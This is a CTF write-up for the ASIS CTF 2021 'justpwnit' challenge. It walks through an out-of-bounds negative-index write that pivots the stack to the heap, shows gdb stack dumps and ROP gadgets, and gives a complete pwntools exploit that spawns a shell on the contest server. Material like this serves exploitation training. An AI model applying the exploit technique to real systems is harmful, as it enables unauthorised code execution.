You can find the related files [here](https://github.com/ret2school/ctf/blob/master/2021/asisctf).
# justpwnit
justpwnit was a warmup pwn challenge. That's only a basic stack overflow.The binary is statically linked and here is the checksec's output:
```[*] '/home/nasm/justpwnit'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```Morever the source code is provided as it is the case for all the pwn tasks !Here it is:```c/* * musl-gcc main.c -o chall -no-pie -fno-stack-protector -O0 -static */#include <stdio.h>#include <stdlib.h>#include <unistd.h>
#define STR_SIZE 0x80
void set_element(char **parray) {  int index;  printf("Index: ");  if (scanf("%d%*c", &index) != 1)    exit(1);  if (!(parray[index] = (char*)calloc(sizeof(char), STR_SIZE)))    exit(1);  printf("Data: ");  if (!fgets(parray[index], STR_SIZE, stdin))    exit(1);}
void justpwnit() {  char *array[4];  for (int i = 0; i < 4; i++) {    set_element(array);  }}
int main() {  setvbuf(stdin, NULL, _IONBF, 0);  setvbuf(stdout, NULL, _IONBF, 0);  alarm(180);  justpwnit();  return 0;}```
The program is basically reading `STR_SIZE` bytes into `parray[index]`, the issue is that there is no check on the user controlled index from which we choose were write the input.Furthermore, `index` is a signed integer, which means we can input a negative value. If we do so we will be able to overwrite the saved `$rbp` value of the `set_element` stackframe by a heap pointer to our input. By this way at the end of the pwninit, the `leave` instruction will pivot the stack from the original state to a pointer to the user input.
Let's see this in gdb !
```00:0000│ rsp     0x7ffef03864e0 ◂— 0x0                                                                                                                                                         01:0008│         0x7ffef03864e8 —▸ 0x7ffef0386520 ◂— 0xb4                                                                                                                                      02:0010│         0x7ffef03864f0 ◂— 0x003:0018│         0x7ffef03864f8 ◂— 0xfffffffe00403d3f /* '?=@' */04:0020│         0x7ffef0386500 ◂— 0x005:0028│         0x7ffef0386508 —▸ 0x40123d (main) ◂— endbr64 06:0030│ rbx rbp 0x7ffef0386510 —▸ 0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x107:0038│         0x7ffef0386518 —▸ 0x40122f (justpwnit+33) ◂— add    dword ptr [rbp - 4], 108:0040│ rax     0x7ffef0386520 ◂— 0xb409:0048│         0x7ffef0386528 ◂— 0x0... ↓            4 skipped0e:0070│         0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x10f:0078│         0x7ffef0386558 —▸ 0x401295 (main+88) ◂— mov    eax, 0```
That's the stack's state when we are calling calloc. We can see the `set_element`'s stackframe which ends up in `$rsp+38` with the saved return address. And right after we see that `$rax` contains the address of the `parray` buffer. Which means that if we send -2 as index, `$rbp` will point to the newly allocated buffer to chich we will write right after with `fgets`.
Then, if we do so, the stack's state looks like this:
```00:0000│ rsp     0x7ffef03864e0 ◂— 0x0                                                                                                                                                         01:0008│         0x7ffef03864e8 —▸ 0x7ffef0386520 ◂— 0xb4                                                                                                                                      02:0010│         0x7ffef03864f0 ◂— 0x0                                                                                                                                                         03:0018│         0x7ffef03864f8 ◂— 0xfffffffe00403d3f /* '?=@' */                                                                                                                              04:0020│         0x7ffef0386500 ◂— 0x0                                                                                                                                                         05:0028│         0x7ffef0386508 —▸ 0x40123d (main) ◂— endbr64                                                                                                                                  06:0030│ rbx rbp 0x7ffef0386510 —▸ 0x7f2e4aea1050 ◂— 0x0                                                                                                                                       07:0038│         0x7ffef0386518 —▸ 0x40122f (justpwnit+33) ◂— add    dword ptr [rbp - 4], 1                                                                                                    08:0040│         0x7ffef0386520 ◂— 0xb4                                                                                                                                                        09:0048│         0x7ffef0386528 ◂— 0x0                                                                                                                                                         ... ↓            4 skipped                                                                                                                                                                     0e:0070│         0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1                                                                                                                                       0f:0078│         0x7ffef0386558 —▸ 0x401295 (main+88) ◂— mov    eax, 0                                                                                                                         ```
The saved `$rbp` has been overwritten with a pointer to the user input. Then, at the end of the `set_element` function, `$rbp` is popped from the stack and contains a pointer to the user input. Which causes at the end of the `justpwnit` function, the `leave` instruction moves the pointer to the user input in `$rsp`.
## ROPchain
Once we can pivot the stack to makes it point to some user controlled areas, we just have to rop through all the gadgets we can find in the binary.The binary is statically linked, so we can't make a ret2system, we have to make a `execve("/bin/sh\0", NULL, NULL)`.
And so what we need is:- pop rdi gadget- pop rsi gadget- pop rdx gadget- pop rax gadget- syscall gadget- mov qword ptr [reg], reg [to write "/bin/sh\0"] in a writable area
We can easily find these gadgets with the help (ROPgadget)[https://github.com/JonathanSalwan/ROPgadget].We got:
```0x0000000000406c32 : mov qword ptr [rax], rsi ; ret0x0000000000401001 : pop rax ; ret0x00000000004019a3 : pop rsi ; ret0x00000000004013e9 : syscall0x0000000000403d23 : pop rdx ; ret0x0000000000401b0d : pop rdi ; ret```
Now we just have to craft the ropchain !
```pyPOP_RDI = 0x0000000000401b0dPOP_RDX = 0x0000000000403d23SYSCALL = 0x00000000004013e9POP_RAX = 0x0000000000401001POP_RSI = 0x00000000004019a3
MOV_RSI_PTR_RAX = 0x0000000000406c32PT_LOAD_W = 0x00000000040c240
pld = pwn.p64(0) + pwn.p64(POP_RSI) + b"/bin/sh\x00"pld += pwn.p64(POP_RAX) + pwn.p64(PT_LOAD_W)pld += pwn.p64(MOV_RSI_PTR_RAX)pld += pwn.p64(POP_RAX) + pwn.p64(0x3b)pld += pwn.p64(POP_RDI) + pwn.p64(PT_LOAD_W)pld += pwn.p64(POP_RSI) + pwn.p64(0)pld += pwn.p64(POP_RDX) + pwn.p64(0x0)pld += pwn.p64(SYSCALL)```
And we can enjoy the shell !
```➜  justpwnit git:(master) ✗ python3 exploit.py HOST=168.119.108.148 PORT=11010[*] '/home/nasm/pwn/asis2021/justpwnit/justpwnit'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to 168.119.108.148 on port 11010: Done[*] Switching to interactive mode$ iduid=999(pwn) gid=999(pwn) groups=999(pwn)$ lschallflag-69a1f60d8055c88ea27fed1ab926b2b6.txt$ cat flag-69a1f60d8055c88ea27fed1ab926b2b6.txtASIS{p01nt_RSP_2_h34p!_RHP_1n5t34d_0f_RSP?}```
## Full exploit
```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfinit
import osimport timeimport pwn
# Set up pwntools for the correct architectureexe  = pwn.context.binary = pwn.ELF('justpwnit')pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = False
host = pwn.args.HOSTport = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if pwn.args.GDB:        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = pwn.connect(host, port)    if pwn.args.GDB:        pwn.gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if pwn.args.LOCAL:        return local(argv, *a, **kw)    else:        return remote(argv, *a, **kw)gdbscript = '''source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.pyset follow-fork-mode parentb* maincontinue'''.format(**locals())
#===========================================================#                    EXPLOIT GOES HERE#===========================================================
io = start()io.sendlineafter(b"Index: ", b"-2")
# 0x0000000000406c32 : mov qword ptr [rax], rsi ; ret# 0x0000000000401001 : pop rax ; ret# 0x00000000004019a3 : pop rsi ; ret# 0x00000000004013e9 : syscall# 0x0000000000403d23 : pop rdx ; ret# 0x0000000000401b0d : pop rdi ; ret
POP_RDI = 0x0000000000401b0dPOP_RDX = 0x0000000000403d23SYSCALL = 0x00000000004013e9POP_RAX = 0x0000000000401001POP_RSI = 0x00000000004019a3
MOV_RSI_PTR_RAX = 0x0000000000406c32
PT_LOAD_W = 0x00000000040c240
pld = pwn.p64(0) + pwn.p64(POP_RSI) + b"/bin/sh\x00"pld += pwn.p64(POP_RAX) + pwn.p64(PT_LOAD_W)pld += pwn.p64(MOV_RSI_PTR_RAX)pld += pwn.p64(POP_RAX) + pwn.p64(0x3b)pld += pwn.p64(POP_RDI) + pwn.p64(PT_LOAD_W)pld += pwn.p64(POP_RSI) + pwn.p64(0)pld += pwn.p64(POP_RDX) + pwn.p64(0x0)pld += pwn.p64(SYSCALL)
io.sendlineafter(b"Data: ", pld)
io.interactive()```